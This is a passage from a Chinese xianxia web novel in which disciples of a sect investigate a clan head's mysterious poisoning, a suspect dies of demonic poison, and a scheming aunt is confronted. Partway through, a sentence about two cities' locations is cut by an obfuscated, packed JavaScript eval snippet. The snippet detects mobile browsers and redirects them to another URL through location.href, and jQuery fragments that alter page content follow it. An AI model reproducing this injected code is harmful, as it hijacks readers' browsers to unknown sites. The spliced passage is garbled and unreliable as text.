徐听晚不再逗她,继续说道:“你看左边那位男子怀中的女子,一身华服,头戴金冠,与左边男子的衣服恰好相配。两人皆是富贵之人,怎会看上街边这不起眼的小簪子?看那女子无奈的表情,我大致能猜到,两人正在逛街,女子无意间瞥了右边男子一眼。左边男子心生醋意,见右边男子要买这簪子,便也走过来要买。左边男子的敌意让右边男子不悦,这才争吵起来。应该就是这样了。” 江月平闻言,眉头微皱,有些不可思议地看着下方。果然,正如大师姐所说,女子拉着左边的男子离开了,而右边的男子则买下了那支簪子。 “既然大师姐徐听晚的分析如此精准,那你能否猜透我此刻心中的所想?”江月平凝视着徐听晚的双眸,蓦地,一阵凉风轻拂,白雪趁机缠上她如瀑般漆黑的长发,而徐听晚的青丝也未能幸免,被白雪轻轻点缀。 两人目光交汇,徐听晚缓缓后移,倚靠在下方的躺椅上,以仰视的姿态对江月平轻声说道:“我猜,你是想邀月抚琴,让我来品鉴一二。” 江月平低垂着眼帘,望着眼前轻松惬意、自然躺卧的徐听晚,心中莫名涌起一股喜悦,嘴角不禁微微上扬。她闭上眼,将这份过度的欢喜藏匿,轻轻点了点头:“没错,大师姐猜得没错,我的古琴技艺确实大有长进。” 徐听晚嘴角含笑,闭眼躺着,任由冷风携着江月平的话语拂过耳畔,她简洁地回应道:“那便弹来听听吧。” 琴声悠扬至半,徐听晚手中的书卷忽地传来石观明的消息。 她微微蹙眉,凝视着石观明发来的地址,字里行间满是急切:“大师姐,你一定要来,我有至关重要的话要说。务必速来,倘若来迟,我便不再言及。” 这口吻显然非他平日所为,徐听晚再次皱眉,随即起身道:“我需外出一趟。” 夜色正浓,街上的人们皆戴着面具,徐听晚略一思索,便在乐楼挑选了一枚面具戴上。此时,江月平的琴声戛然而止,她默默跟在徐听晚身后。 徐听晚步入一家酒楼,径直上了二楼,走进一间雅间。只见柳清云趴在桌上,而温乐天则手持石观明的书卷,脸色绯红,正用手比划着什么。 “二师兄,你居然什么都没和大师姐说,你真的心仪大师姐吗?这么多年,你竟从未提起。” 石观明同样面色绯红,眼角微湿,半趴在桌上,声音坚定:“当然喜欢。” 徐听晚僵立在门口,温乐天轻笑一声,指了指门口。石观明顺着她的目光望去,一时之间,神色变得迷离。 他眼神中满是委屈,缓缓起身,一步步走向徐听晚,突然将她紧紧抱住,轻声在她耳畔道:“大师姐,我心悦你。” 温乐天在一旁欢呼,顺便告知徐听晚,四师弟和梅道友的道侣大典因故推迟,据说近期时局不稳,无暇举办。 相拥片刻后,石观明松开手,抬眼便看见站在身后的江月平。他轻声呼唤:“小师妹?” 徐听晚急忙转身,只见江月平面带浅笑,却显得有些不自在。然而,徐听晚并未多作留意,心中暗自思量,这样也好,小师妹或许永远也不会知晓她的心意。 此事过后,江月平时常独自一人在幽静庭院中轻抚古琴,却未曾再踏足寻觅她的路途。他只是向石观明坦言,待到一切纷扰尘埃落定,再给予他明确的答复。 徐听晚在院中刻苦练剑,石观明是唯一能洞察她眼神深意之人。两人自幼相伴成长,怎会不明白她此刻眼神中流露出的抗拒。若非徐听晚及时提醒温乐天莫要到处传,只怕外界早已谣言四起,传遍了她与石观明育有一子的谣言。 她缓缓停下手中之剑,院中四季更迭,春去秋来,依旧显得荒凉萧瑟。曾约定好的躺椅,她拖延一年也未曾去隔壁取回。空荡荡的院落宛如一副失去灵魂的骨架,毫无生气。转眼间,又一个寒冬悄然而至,去年冬日所得的暖玉虽令人惊喜,却也让这个冬天显得格外凄凉。 石观明依旧前来邀她共赏雪景,而江月平依旧未曾踏出房门半步。对于石观明的邀请,她既不拒绝也不应允,只是淡淡地告诉他:“若能在晚上的面具灯会上,不动用丝毫灵力,在半个时辰内找到我,我便答应与你在一起。” 徐听晚此言不过是权宜之计,因为她有十足的把握让石观明在灯会中迷失方向,找不到她的踪迹。毕竟,她并未言明自己不能动用灵力。只需稍稍感应,便能知晓他的位置,从而巧妙避开。 夜幕降临,面具灯会上,徐听晚戴着精致面具穿梭于熙熙攘攘的人群之中。突然,一支暖玉花悄然落在她面前,引来众人惊异的目光。她生怕被发现,慌忙拿起暖玉花向另一侧逃去。不料,一个戴着面具的高大男子突然出现在她面前,挡住了她的去路。她来不及躲避,撞在了他坚实的胸口。 她皱眉环顾四周,见石观明尚远,心中稍安,厉声道:“道友应看到我跑来,却故意撞上我,实为无礼之举。” “对不起。”男子声音轻柔,似是真心道歉。徐听晚不愿在陌生人身上浪费时间,转身欲走,男子却突然说道:“是我先找到你的。” 闻言,徐听晚一愣,总觉得男子声音有些熟悉,但已无暇多想,石观明正缓缓靠近,她不得不快速逃离,手中的暖玉花随风飘散。 终于跑到一个偏僻安全之地,没过多久,男子再次出现在她面前。 徐听晚皱眉,盯着男子的一身青衣,心生不满:“你为何跟过来?” 男子摇头笑道:“我并未跟着你,只是在捡拾飘落的花瓣。”说罢,他摊开手,暖玉花瓣赫然在掌中。 徐听晚一时语塞,轻嗯一声算作回应。 徐听晚握着那根枯枝,心中满是疑惑,冬日里出现暖玉,难道是稀松平常之事吗? 当然,冬日暖玉绝非寻常之物,但若有人存心让你得见,你自会目睹其奇景。 徐听晚思索片刻,终是弃了那枯枝,转身离去。半个时辰转瞬即逝,石观明四处寻觅,却始终未能找到她的踪迹。 半个时辰过去,徐听晚脸上带着一抹笑意,就在这时,一股灵力忽然自后方汹涌而来,徐听晚心中一动,转身望去,只见一片火花迸发,仿佛有什么东西正在燃烧。这熟悉的一幕让她心生疑虑,连忙快步走向先前的位置。然而,小师妹不在此处,只有一道高大的男子背影,正是她先前所见之人。 石观明拼尽全力去寻找,但他心里明白,如果大师姐刻意回避,任凭他如何努力也是徒劳,哪怕动用灵力亦是如此。两人之间的约定,唯有依靠彼此去守护,并无绝对的公正可言。最终,他选择了沉默,默默地陪伴在侧,因为强求一个结果,只会让双方陷入尴尬的境地。 初春时节,温家却突遭不幸,家主意外离世,这一消息瞬间在家族内外掀起了轩然大波。为了尽快查明真相,温家迅速组建起一支专业的调查队伍。 与此同时,各宗各家也接到了温家的邀请,纷纷赶来。 徐听晚等五人急忙赶往温家,因为温乐天已明确表示,这次事件并非徐君彦所为。据眼线透露,徐君彦此刻正身处东南城,由于东南城正在调整弟子编制与重排护卫,因此无人关注他的行踪。 毕竟,因这种事而丢掉掌门之位,其他宗门并不会太过在意,只有与之相关的两个宗门会极力反对。 若非徐君彦所为,那事情就更为复杂了。毕竟,温家家主作为炼虚初期的剑修,竟在自己的家中被悄无声息地杀害,这实在是一件令人毛骨悚然的事情。 五人抵达东北城的温家,徐听晚一眼便瞧见了众多熟人。 周启明竟也在此地,他身着一袭黑衣,模样较之往昔成熟了许多,褪去了少年的稚气,取而代之的是一股阴冷之感。 他面色冷峻地开口:“在现场,除了谢掌门,还有谁能有能力杀害温家主?” 此言一出,立即引起了沧澜符宗众人的不满,他们纷纷将目光投向周启明。孟鹤挺身而出,语气平和地说道:“诸位这是何意?莫非觉得他势单力薄便可随意欺凌?若想知晓真相,那便去查。” 王若拂挺身而出,厉声反驳:“如今我们皆无法进入温家主身亡的现场,又如何去查?就连你这个与他有过交集的人都被温家少家主阻拦在外。更何况,明明是周启明先出言挑衅,我们多看他几眼又有何妨?他是你昔日的四师弟,你便如此不辨是非地护着他吗?” 梅问君紧皱眉头,表示赞同王若拂的观点,司空瑾也未加阻拦,任由王若拂说下去,毕竟他们本就占理。 孟鹤微微皱眉,自知理亏,于是拱手致歉:“抱歉,我们皆无法进入现场,找不到任何线索,只能在此胡乱猜测,难免言辞过激。” 司空瑾不疾不徐地说道:“言辞过激便可以随意诬陷他人吗?” 周启明侧身而出,低声反驳:“诬陷?我说的难道不是事实?温家上下,再加上当日到来的你们与我,谁有能力杀害温家主?除了谢掌门,还能有谁?” 王若拂欲再上前,伸手指向周启明,却被司空瑾拉住。谢止寒转头看向徐听晚五人,淡淡说道:“能查此事的人,这不就来了吗?” 徐听晚迈步向前,心中明了,唯有她们方能助力调查此事。泽明器宗绝不会向温家伸出援手,两家之间积怨已久,世仇难解。 每年,双方都会因天河港口的归属而争斗不休。两城地理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314860|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位置相近,一处于东北部,一位于东部,相距甚近。尽管上北城的玄天剑宗也在周边区域,但其距离相对较远。玄天剑宗与双方皆有剑修之谊,时常联手整治雪山,关系微妙,既非亲密无间,亦非疏远冷漠。 然而,泽明器宗不仅与温家因港口利益冲突,还有因为两城相近,城中子民时有争斗,故而泽明器宗并未收到温家的邀请,即便收到,亦不会前来相助。啸海兽宗、混元丹宗以及其他世家,皆因故无法前来。如此看来,真正能帮上忙的,唯有五行道宗了。 徐听晚与众人交换了一个眼神,在周启明那里稍作停留,最终她开口问道:“你怎么会在这里?”她问出这句话,内心是希望他与这件事毫无瓜葛。 周启明平静地注视着她,眼中交织着厌恶与怨恨,满满的都是轻蔑。徐听晚微微皱起眉头,感觉大家都变了,一种一切都已无法挽回的预感让她心痛。 “这与你有何干系?”他轻声回答,当初那个意气风发的少年已彻底不见踪影,而当初那个徐听晚也同样成为了过去。那时的她还会与他人交往,时常还是会去凑凑热闹,但现在她已完全没有精力去关注旁人。 孟鹤望着徐听晚,轻声解释道:“启明是因为周家商户准备迁往东北城,所以来与温家主进行交涉的。” 徐听晚皱眉点了点头,搬家就意味着下南城的一切都将被贩卖或舍弃,周启明疯了吗?这可是一笔不小的亏损。 外面守候的弟子已匆匆入内通报,随后,一位身着窄袖束腰淡绿衣裙的女子款步而出。她头戴一顶金冠,相较于温乐天那华贵精致的金冠,她的更显张扬而简约奢华,令人一眼难忘。 她腰间悬挂的金玉家主令牌,是徐听晚所见最为张扬的令牌,与各宗各家精细雕琢的令牌截然不同,彰显着独特的个性。 女子轻轻招手,示意徐听晚等五人入内。 温乐天趁机偷偷瞥向谢止寒,却不料似乎被对方捕捉到了目光。谢止寒回以微笑,令他不禁感到一阵寒意直窜脊背。 王若拂见状,见师父如此笑容,亦是心生寒意,心中暗惊:师父莫非被夺舍了? 梅问君则眨了眨眼,疑是自己看错了。果然,没过多久,师父的笑容便敛去。此时,司空瑾正紧盯着周启明,满脸不悦,全然未留意到师父的神情变化。 徐听晚步入现场,室内陈设井然,未见异样。现任温家家主温淘指着桌上的一团血迹说道:“我父亲当时就是俯卧在此处,嘴角淌血,体外无丝毫伤痕,但内脏却已全然腐烂。” 柳清云走上前来,疑惑地问道:“是下毒所致?” 温淘点头回应:“起初我也如此猜测,但医师在父亲体内并未寻得任何毒药的痕迹。” 柳清云紧锁眉头,不解道:“那器官如何会腐蚀?即便非毒药致死,也需毒药方能腐蚀器官吧?” 徐听晚在一旁环视四周。 温乐天则拿起桌上的一件装饰,好奇地端详着:“这玉花可是黑阁不久前拍卖的珍品?” 温淘点头确认:“道友眼光独到,确实如此,家父一直钟爱玉器,常作收藏。” 言罢,她深吸一口气,眼下乌青与红痕交织,脸色苍白,语气中透露出与她装扮截然不同的疲惫,显然已数日心力交瘁。 柳清云劝慰道:“温家主,您且在一旁稍作休息,我们自己找找线索,若有发现,定会告知您。” 徐听晚闻言点头附和,石观明则凑近血迹,仔细嗅了嗅,还将浅云放出,一人一兽围在那里仔细观察。 温淘点头应允,坐在一旁,半垂着眼帘,默默注视着五人。 徐听晚走到石观明身旁,轻声问道:“你在观察什么?” 石观明皱眉轻声回答:“这血迹的气味与寻常血腥不同,更像是妖兽之血,因为妖兽之血闻起来较之人血要淡许多。” 江月平见两人站在一起,便走上前来:“周围漂浮的灵力确实与这血有联系。”她此言意指她已确定,这血乃是人血,且是前温家主的血。 石观明微微皱眉,再次嗅了嗅,他确信自己没有闻错,浅云也是如此判断,但小师妹的眼力也不会出错,这让他颇感矛盾。 徐听晚陷入沉思,她并未怀疑两人的判断,而是思考着一个最不可能的结果——是否存在一种毒药,能将人血腐败成妖兽之血,从而致人死地。 温乐天手持玉花,细细翻阅着书卷,缓步踱至徐听晚三人身旁,轻声说道:“这朵玉花,乃是周启明所拍下并买走的。” 尽管黑阁的拍卖流程遵循匿名原则,但作为黑阁的阁主,他仍旧能够轻而易举地追根溯源,找到买家。 徐听晚闻言,轻轻摇了摇头,如此这般,线索实在是太过模糊。此处并无监控设施,若是有人下毒,简直无从查起。唯有这朵玉花,或许能表明周启明确实曾单独拜访过温家主,毕竟,就连温淘也不知晓这玉花乃是周启明所赠。 倘若毒是温家内部之人所下,他们又怎能确保温家主定会服下毒药呢? 一般而言,修士修炼至金丹之境,便已超脱了口腹之欲。若是家中弟子突然献上食物或饮品,势必会引起老温家主的警觉。 如此看来,剩下的嫌疑人便只有两位,一位是温家主的好友谢掌门,另一位则是意图与温家合作的商户周启明。 然而,这两人似乎都缺乏杀害老温家主的动机啊? 与其漫无目的地搜寻线索,不如她先去试探一番。 徐听晚嘴角勾起一抹笑意,此计或许对德高望重的谢掌门无效,但她倒想试试周启明的反应。 周启明……徐听晚不禁长叹一口气,但愿凶手不是他。可若是谢掌门,也同样棘手。此刻,她竟希望自己之前的推测全然错误。 若两人均非凶手,那便需调查老温家主近期是否有外出之行,或是翻阅古籍,寻找有关这种毒药的记载。至少,要找到一丝线索,否则,这案子根本无法继续查下去。 57.澄清 “大师姐,你心中所虑何事?”柳清云步至徐听晚身前。 她瞥了一眼柳清云与石观明,吩咐道:“你二人前去探寻,可有毒药能将人血腐蚀为妖兽之血。” 接着,她的目光转向温乐天和江月平:“你俩则去探问谢掌门与老温家主之间的渊源。” 温乐天瞪大了眼睛,望着徐听晚道:“大师姐,非得我去不可吗?要我去问谢掌门?” “有何不可?你前去询问,无妨,小师妹会与你同行。”徐听晚微微一笑,随即眉头紧蹙,“莫要耽搁时间了,速去。” 柳清云心生好奇,问道:“那大师姐你呢?” 徐听晚垂眸低语:“我去问周启明,顺便试探于他。” 闻言,四人皆是神色凝重。 徐听晚深吸一口气,对温乐天道:“乐天,你需帮我一个忙。” 见四人离去后,徐听晚坚守在此,夜幕悄然降临,温家主的房间却依旧沉寂,他尚未苏醒,而徐听晚已疲惫不堪。 直至深夜,温滔终于从沉睡中醒来。她抬头望去,只见徐听晚正静静地站在窗边,凝视着那轮皎洁的明月。环顾四周后,她轻叹一声,走到徐听晚身旁,轻声问道:“徐道友,你为何不唤醒我呢?” 徐听晚轻轻摇头,回答道:“无妨,只有休息充足,才能应对接下来的事情,否则只会适得其反。” 温滔闻言,微微一怔,随即轻声问道:“徐道友,你是否已经有了线索?” 徐听晚并未直接回答,而是转头看向她,反问道:“能否告诉我,老温家主究竟是怎样一个人?” 温滔闻言一愣,随即点了点头,轻声描述道:“我父亲性格活泼搞怪,但责任心极强。温家的每一个人都非常喜欢这个满脑子鬼点子的老头子,除了姑姑。姑姑容貌出众,却喜欢玩弄感情,她辜负过的男人数不胜数,但那些男人却对她死心塌地。与她断绝后,都会陷入深深的反思之中。姑姑并不喜欢我父亲,认为他不够靠谱。听说当初父亲被指任为少家主时,姑姑还大闹了一场。不过,现在情况已经好多了。” 徐听晚若有所思地点了点头,继续问道:“那你姑姑现在何处?” 温滔平静地回答道:“姑姑前段时间一直在外,应该这两天就会回来了。” 随后,徐听晚靠着窗户,姿态轻松自然,尽量让话题显得随意,以便获取最真实的信息:“那老温家主和谢掌门的关系如何呢?” 温滔微微皱眉,沉思片刻后说道:“最初,谢掌门与家父相识,是因他前来温家寻人,虽未寻得,却也算与家父结识。此后,谢掌门赠予家父诸多玉器,两人关系愈发亲密,时常一同前往黑阁拍卖行淘宝。” 徐听晚闻言点了点头,问道:“你觉得谢掌门会加害于你父亲吗?” 面对她如此直接的提问,温滔一时愣住。徐听晚显然心存疑虑,毕竟此地唯有谢掌门的修为足以杀害她父亲。温滔叹了口气,无奈道:“我不清楚。” 徐听晚轻笑一声,继续分析:“倘若谢掌门与温家主时常单独外出,他本有无数次机会在外下手,为何偏要在这处处受限之地行凶?外界散修高手众多,他大可编造一个高修为的散修,将罪名嫁祸于对方,声称是散修所为。” 温滔闻言紧锁眉头,沉默不语。 徐听晚见状,并未继续这个话题,而是转而问道:“你父亲为何给你取名为‘滔’呢?” 温滔眉头渐渐舒展,轻笑一声解释道:“这名字是我母亲所取,只可惜她早逝,我对她的记忆已模糊不清。父亲曾说,母亲给我取名‘滔’,是希望我如流水不争先,争的是滔滔不绝。” “这是一个极佳的寓意。”徐听晚稍作停顿,凝视着温滔那双清澈无邪的眼睛,心中顿时明了,她的父亲将她呵护得极为周到,以至于那份孩童般的傲气依旧留存。她接着说道:“温家主,明日一早,你陪我一起去向周启明问个明白,届时你无需多言,只需赞同我的说法即可。” 温滔闻言,眼眸不禁睁大:“莫非已有线索?” 徐听晚简要地将白天的发现向温滔叙述了一遍,末了,她注视着温滔那双充满疑惑的眼睛,诚恳地说:“温家主,这世道人心不古,若日后有需要,尽管来找我。温家城的景致宜人,我正有意多来走走。” 尽管五行道宗失去了掌门,损失了一大战力,但其底蕴深厚。若能与之交好,无疑是有益无害的。温滔显然涉世未深,即便是简单的思考也让她沉吟了许久。想通之后,她点了点头,说道:“徐道友若愿来观瞻,随时欢迎。”言罢,两人互换了书卷。 徐听晚步入温家精心安排的客院之中,只见其余四人正簇拥在一起,低声交谈着什么。 察觉到她的到来,柳清云首当其冲,被温乐天轻轻推了出来。他显得有些局促,对徐听晚结结巴巴地说道:“大师姐,我们……我们没能找到那种毒药。我还特意让卿卿去查了,她动员了许多人一同翻阅医书,可整个梅家的藏书阁里都没有关于那种毒药的任何记载。” 紧接着,温乐天也被江月平轻轻推了出来。其余三人显然对江月平这一举动感到意外。温乐天嘴角勾起一抹苦笑,将谢掌门告知他们的情况复述了一遍,内容与之前他和温滔向徐听晚所述的大致相同。 徐听晚闻言,平静地点了点头,目光中带着一丝好奇,询问他们:“你们刚才在这里聊些什么呢?” 江月平见她并未动怒,便走到她身旁,望着其他三人,语气平和地解释道:“他们忙活了一天,却毫无头绪。关于那个毒药的记录,他们找遍了所有可能的地方,却一无所获。所以他们在这里组织语言,想着等大师姐你来问时,怎么才能让你不责怪他们。” 徐听晚闻言,脸上露出一丝不解与嫌弃交织的神情。她有那么可怕吗? “我知道你们找不到什么线索,做这件事的人确实处理得很干净。但他年纪尚小,或许经不起诈。” 柳清云闻言,瞪大了眼睛,惊讶地问道:“大师姐,你已经找到凶手了吗?” 徐听晚轻轻摇了摇头,说道:“只是猜测而已,我并没有确凿的证据。” 温乐天似乎想到了什么,眉头紧锁,看着徐听晚说道:“大师姐,你今天拜托我的那件事,也同样没有证据可依。” 徐听晚直视着温乐天的眼睛,坚定地说道:“此事从一开始就没有证据,别人要猜测、要骂,也只会针对我和我父亲。只要那个人能证明自己的清白,就足够了。” 第二天一早,徐听晚与温滔便相约在昨日分别之地碰头。温滔手中紧握着那朵玉花,而徐听晚则轻敲了敲周启明客房的门扉。两人等待了片刻,最终为他们开门的是孟鹤,他无奈地叹了口气,侧身让两人进入。 周启明侧头望着眼前的二人,疑惑地问道:“你们有什么事吗?” 温滔眉头紧锁,语气中带着几分严厉:“你这是何种态度?” 周启明闻言,立即反驳道:“新任温家家主真是好涵养,你不让我离去,我周家尚有诸多事务需处理,我岂能不心生怨气?” 温滔一时之间竟无言以对,心中委屈涌上心头,父亲不在身边,她只觉眼眶酸涩,喉咙也仿佛被堵住了一般,声音变得嘶哑。 徐听晚见状,轻轻拍了拍温滔的肩膀,随即设下一道屏障,她目光如炬,紧紧盯着周启明的眼睛,充满了探究之意。 在徐听晚的注视下,周启明的气势瞬间弱了下来,他强自镇定,却忍不住厌烦地看向一旁,说道:“你嘛,我还需要解释吗?” 徐听晚嘴角勾起一抹笑意,语带讥讽:“自然不必。”她不走寻常路的回答,让周启明语塞。 徐听晚毫不留情,直接言道:“你私下与温家主单独会面,温家主临终前留下影像,指明这玉花乃你所赠,且他当日仅饮过你递上的水。” 周启明脸色微变,厉声反驳:“徐道友休要血口喷人!”他深知,若徐听晚真有确凿证据,怎会不在众人面前揭露他。 徐听晚轻笑一声,道:“你定是在想,我若有证据,怎会不在众人面前揭发你。你且看书卷。” 周启明闻言心绪已乱,慌忙取出书卷。 一旁的温滔已然有些懵然,两人对话节奏之快,令她几乎无法插话。 徐听晚接下来的话语,彻底扰乱了周启明的心神。 “说吧,究竟是谁指使你?若肯说出真相,我可助你减轻罪责,毕竟我对你有所亏欠。” 周启明望着书卷上关于周落私与徐听晚的澄清事宜,顿时瞪大了双眼。此刻,论坛上正热议此事,徐听晚已澄清周落私并未对她意图不轨,实则是徐君彦杀害了周落私,并借她之名掩盖真相。 书卷上争议四起,因自始至终此事并无确凿证据,唯一证人又翻供,众人一时在徐听晚与徐君彦之间揣测不定。 有人信以为真,认为徐听晚所言属实;却也有人反驳,称徐君彦并无杀害周落私的理由。 有人猜测是徐听晚与徐君彦联手作案,她怕暴露,便将罪责全推到了父亲身上。但也有人反驳,若徐听晚参与其中,她根本无需说出此事,毕竟毫无证据。 书卷上争论不休,此事缺乏证据,谁也无法说服对方,很快便会被人遗忘。 周启明看完这一切,眉头突然舒展,仿佛得到了解脱。他望着徐听晚,眼眶泛红,轻声说道:“毒药是我下的…天河……” 话未说完,周启明喉头一甜,鲜血喷涌而出。他痛苦地扑向徐听晚,紧紧抓住她的手,想要开口,却只能大口吐血。见无法言语,他开始在徐听晚手中比划,却未能写完一个字,便倒在了她的怀里。 徐听晚用灵力探查他的身体,发现一丝残留的魔气,她瞪大眼睛,一股不祥的预感涌上心头。 事情已然尘埃落定,孟鹤将周启明的遗体带了回来。徐听晚心急如焚,立刻吩咐温乐天去彻查周家商户的情况。不出所料,周家商户已名存实亡,周家人更是无一幸免,全部因吐血而亡。 魔教的势力,已然悄无声息地渗透到了这里。 回想起与魔教勾结之前的种种迹象,虽然看似并无大动作,但那些细微的磋磨却让人心生疑虑。徐听晚总觉得其中必有蹊跷。 她坐在客院中,江月平坐在对面,两人都低垂着眼眸,陷入了沉思。与此同时,石观明在一旁翻阅着温家藏书阁中关于医药的古籍,他紧锁眉头,疑惑不解地说道:“大师姐,那毒药实在太过诡异,我翻遍了所有古籍,竟找不到一丝记载。” 三人的思绪似乎各自飘向了不同的方向。听到石观明的话,徐听晚和江月平才从各自的沉思中回过神来,两人异口同声地说道: “的确还存在许多未解之谜。”徐听晚点头赞同道。 “嗯。”江月平若有所思地轻声应和。 两人交换了一个眼神,江月平轻轻眨了眨眼,低声说道:“我回房休息片刻。” 徐听晚微微颔首。这时,柳清云从自己的房间里走了出来,一脸疲惫与困惑:“我实在无法理解这种毒药,它竟能改变人的血液,引发排异反应致人死地,这究竟是如何做到的?” 徐听晚手中的书卷忽然散发出柔和的光芒,她从储物袋中取出书卷。是温滔的消息传来,请求她前往相助,原因是她的姑姑已经归家。 徐听晚闻言,起身轻声道:“我要去温家主那里一趟。”旁边的两人闻言,纷纷点头表示知晓。 与此同时,温乐天刚从谢止寒那里归来,怀里被塞满了各式各样的符咒。原来,谢掌门与母亲早年在温家城便已相识,而他的母亲竟是温家一个不受重视的旁支成员。也难怪,毕竟母亲是器修,而温 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徐听晚直视着温欢颜,又环顾四周,语气诚恳地说道:“我身为五行道宗的亲传弟子,为温家解决了如此大的难题,温家却只派了一个地方管理的小阁主来迎接我吗?” 在世家之中,各分支都设有大小不一的管理阁,但这些机构的权力皆由家主统一分配与监管。 她此言一出,周围人顿时对温欢颜心生不满。徐听晚本就是贵客,温欢颜此番作为让贵客不悦无疑让温家颜面扫地。 温欢颜缓缓言道:“徐小友,莫要动气。我实是因见你到来,心中过于欢喜。再者,我这侄女初登高位,诸多事务尚不熟练,我怕她招待不周,望徐小友能多多包涵。” 徐听晚面无表情地注视着这位眉眼带笑、眼神诚挚却声音略显造作的女子,心中暗自思量,此人着实不简单。温欢颜知道她在抗拒她,便将自己与温滔紧紧相连,若她不答应,倒显得她心胸狭窄了。 徐听晚微微颔首,目光未曾离开温滔,对上座之人说道:“我与温家主年龄相仿,志趣相投。温前辈请放心,温家主由老温家主一手栽培,我对老温家主的人品还是颇为信赖的。况且谢掌门也曾在我面前提及老温家主的诸多事迹,因此,我很乐意与温家主结交。” 温欢颜闻言,笑容猛地一僵,但仍浅笑盈盈地看着徐听晚,未再言语。 她这是在向众人表明,五行道宗只愿与温滔交好,而非整个温家,谢掌门亦是如此。 温滔感激地望向她,低声对着温欢颜说道:“姑姑放心,我已能妥善处理宗门事务,您好生歇息便是。” 徐听晚轻叹一声,心中暗道,温滔还是太过单纯。 见无人接话,徐听晚含笑开口:“温家主真是体贴长辈。”言罢,她转向温欢颜,继续道:“温前辈,听闻您旧友众多,如此繁忙之际仍不忘关怀后辈,真乃楷模。”大家都知她这里的旧友是什么意思,全都变了脸色。 周围的温家人纷纷将目光投向温滔。温欢颜自知不宜再言,便带着浅笑静立一旁。温滔平和地说道:“诸位都辛苦了,先去歇息吧,稍后我会将安排好的事务册分发给大家。” 众人纷纷拱手告退,唯余温欢颜一人站在那里。她原与其他人商议,欲借温滔年幼之机,夺取事务册的分发权,将多余的部分分予那些人,以此夺权,却没想到突然出现了一个徐听晚。 徐听晚微微侧首,目光落在温欢颜身上,轻声问道:“温前辈,可还有遗言欲诉?” 温欢颜怒目而视,冷言相向:“你且等着瞧吧。” 温滔见状,眉头紧锁,连忙劝阻道:“姑姑,您怎可出此恶言!” 温欢颜不予理会,拂袖而去。温滔急忙起身,快步移至徐听晚身旁。 徐听晚轻轻摆手,淡淡说道:“温家主,看来你姑姑并未将你视为亲人,反倒视你为仇敌。” 温滔眉头紧蹙,唤道:“姑姑……” 徐听晚嘴角勾起一抹轻笑,问道:“需要我助你一臂之力吗?” 温滔垂首,低声问道:“助我什么?” “除去她。”徐听晚微微挑眉,直言不讳。 “什么?”温滔惊愕地看着徐听晚,难以置信。 徐听晚简明扼要地将计划告知温滔:“若她欲取你性命,则她必死;若她无意害你,则她可活。与其坐以待毙,不如先发制人。” 历经诸多风雨,徐听晚深知,若不主动出击,那些丧心病狂之人定会伤及无辜。 见温滔仍在迟疑,她轻声劝解:“若她非善类,一旦出手,必将殃及池鱼,到时候温家其他人都是献祭者。” 徐听晚最终的一番言辞说服了温滔,她微微颔首,表示了对徐听晚计划的赞同。 徐听晚返回客院之时,柳清云满怀激动地迎上前来指着书卷,急切地说道:“大师姐,你快看看书卷上的论坛!” 徐听晚取出书卷,一段引人注目的录像瞬间吸引了她的目光。她轻点录像,投影随之展开,竟是她与周落私那一日的场景! 从那个独特的视角望去,清晰可见她当时正静静地躺在那里,而周落私则从屋顶一跃而下。紧接着,徐君彦猛然冲进屋内,毫不犹豫地从她储物袋拿出判决剑,一剑将周落私斩杀,随后又将剑放回她的手中。 录像至此戛然而止。书卷之上,对她的风评开始发生逆转,徐君彦逐渐成为了众人讨伐的对象。起初,他只是被五行道宗的弟子所厌弃,但如今,整个天河大陆都在对他进行声讨。然而,宗门和世家大多保持沉默,唯有王家发出了对徐君彦的追缉令。 虽然疑虑得以解除,但徐听晚的内心却更加忐忑不安。这段录像究竟是何人所录?为何她和徐君彦都未曾察觉? 与此同时,其他宗门和世家也开始纷纷附和,局势愈发紧张。 58.混乱 温滔坐在书房内,紧锁着眉头,认真地撰写着邀请信。徐听晚则静静地站在一旁,嘴角挂着淡淡的微笑,注视着她。 “徐道友,你似乎总是心存疑虑,”温滔继续缓缓开口,“但其实,我姑姑在我年幼时,待我极好……” 徐听晚轻轻打断了她的话:“那我们何不打个赌?就赌你的姑姑,会不会对你下手。” 温滔闻言,微微一顿,随即点了点头,应声道:“好。”看着她脸上那抹不确定的神色,徐听晚心中已然有了胜算。有些事情,其实明摆着,只是身处局中的人,不愿面对,自我欺骗,进行着错误的推断。 明明背叛的事实就摆在眼前,却还要固执地说:“他曾经做过这样的事,怎么可能这样……” 温滔矗立于雪山之巅,静候着她所邀请之人,而温欢颜,亦如约而至。 四周苍茫一片,空无一人,唯有她们二人身影。温滔修为仅至元婴巅峰,而温欢颜却已步入化神初期。尽管二者仅有一阶之差,但实力却是天壤之别,这一阶之差,若无机缘,或许需耗费数十年方能跨越。 “水水,你果真是年少气盛。”温欢颜并未以家主相称,而是亲昵地呼唤着她的小名。 “姑姑,你可有意争夺家主之位?”温滔开门见山地问道。她曾向徐听晚请教如何与姑姑交谈,虽学得了诸多委婉虚伪之辞,但在姑姑面前,她仍愿以真心相待。 “温滔,你录像?”温欢颜悄然靠近温滔,轻声在她耳畔低语。 “姑姑!此处并无录像,亦无他人,我只愿听姑姑的真心话。”温滔情绪激动地抓住温欢颜的衣襟。 温欢颜不悦地推开她,整理着领口,瞪了她一眼,斥道:“毫无礼数,实乃德不配位,你甚至不及你兄长。” 温滔闻言,一时愣住,难以置信地摇了摇头,道:“姑姑,你可还记得,儿时你曾偷偷带我外出,带我来此滑雪?那时,我每次完成功课……” 温欢颜打断道:“那不过是为了害你罢了。你乃火木双灵根,长时间身处极寒之地,只会伤及根本。” 二人陷入长久的沉默之中。 温滔声音颤抖道:“姑姑,你如今要杀我吗?”她强忍泪水,寒风凛冽,大战一触即发。 